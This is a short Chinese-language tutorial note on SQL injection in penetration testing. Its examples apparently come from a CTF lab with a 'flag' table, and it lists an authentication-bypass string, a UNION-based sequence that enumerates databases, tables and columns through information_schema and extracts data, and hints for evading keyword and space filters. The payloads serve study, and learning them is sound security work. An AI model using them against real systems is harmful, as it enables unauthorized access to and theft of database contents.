渗透测试 --SQL注入

2023-11-04 09:58:45 浏览数 (2)

SQL注入

万能密码

代码语言:javascript复制
'or 1 = 1 #

联合查询注入

代码语言:javascript复制
# 获取返回的字段位置

'union select 1,2,3------ #    --查看回显确定

# 获取当前数据库名字,以第二个为回显为例

'union  select  1,database(),3; # --回显'web2'

# 查看数据库中的表名

'union select 1,table_name,3 from information_schema.tables where table_schema =database(); #    --回显flag,user

# 查看flag表中的列名

'union  select  1,column_name,3  from information_schema.columns where table_name ='flag';#    --回显flag

# 拿到flag

'union select 1,flag,3 from flag;#

PS:

mysqlinformation_schema库中记录了其它数据库的结构

tables记录了数据表和数据库的关系

columns记录了数据表和列的关系

database():输出当前数据库名

group_concat():可将多行数据查询结果返回为一行字符串

代码语言:javascript复制
select * from 表对象 where [条件]

知道数据库名称:web2

如何获得web2的所有数据表?

代码语言:javascript复制
select table_name from information_schema.tables where table_schema =database();

突破字符替换

为了防御sql注入,有的开发者直接简单、暴力的将selectfrom等关键字替换或匹配拦截

1. 只过滤了空格:

%a(均为url编码,在特定字符集才能利用)和组合、括号等

0 人点赞